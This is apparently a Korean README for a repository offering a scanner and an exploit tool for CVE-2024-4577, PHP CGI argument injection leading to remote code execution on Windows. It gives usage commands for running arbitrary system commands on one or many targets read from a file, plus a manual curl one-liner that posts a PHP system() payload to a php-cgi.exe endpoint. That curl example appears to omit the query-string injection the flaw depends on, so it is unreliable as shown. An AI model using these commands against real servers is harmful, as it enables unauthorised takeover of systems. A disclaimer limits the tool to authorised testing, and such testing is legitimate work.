CVE-2024-4577 - PHP CGI 인자 주입 원격 코드 실행 (RCE)

요약

CVE-2024-4577은 Windows 시스템에서 PHP가 CGI 모드로 실행될 때 발생하는 PHP CGI 인자 주입 취약점입니다. 이 결함으로 인해 원격 공격자가 특수 제작된 URL을 통해 PHP 명령줄에 인자를 주입하여 **원격 코드 실행 (RCE)**을 달성할 수 있습니다.

이 저장소는 다음을 포함합니다:

• CVE-2024-4577.py: 취약한 대상을 탐지하는 스캐너.
• exploit.py: 취약한 서버에 PHP 코드를 전송하고 시스템 명령을 실행하는 익스플로잇 도구.

⚠️ 면책 조항
이 프로젝트는 교육 및 공인된 테스트 목적으로만 제공됩니다. 이 코드의 오용에 대한 책임은 작성자에게 있지 않습니다. 책임감 있게 사용하고, 자신이 소유하거나 명시적 허가를 받은 환경에서만 테스트하십시오.

요구 사항

• Python 3.x
• requests 라이브러리

의존성 설치:

pip install -r requirements.txt

스캐너 사용법

대상이 CVE-2024-4577에 취약한지 탐지합니다:

단일 대상

python3 CVE-2024-4577.py -u http://target.com

파일로 여러 대상

python3 CVE-2024-4577.py -f urls.txt

사용자 정의 경로 (선택 사항)

python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php

취약 경로 예시

스캐너와 익스플로잇은 다음과 같은 일반적인 CGI 엔드포인트를 테스트합니다:

/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello

페이로드는 cgi.force_redirect를 우회하고 php://input을 사용하여 악성 PHP를 앞에 추가합니다.

익스플로잇 사용법

취약한 대상에서 임의의 시스템 명령을 실행합니다:

단일 대상

python3 exploit.py -u http://target.com -c "id"

파일로 여러 대상

python3 exploit.py -f urls.txt -c "id"

curl 사용하기

curl을 사용하여 수동으로 취약점을 익스플로잇할 수도 있습니다:

curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"

이 명령은 PHP 페이로드를 전송하여 서버에서 uname -a를 실행하고 출력을 반환합니다.

라이선스

이 코드는 MIT 라이선스 하에 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

공식 채널

• YouTube @rootctf
• X @r0otk3r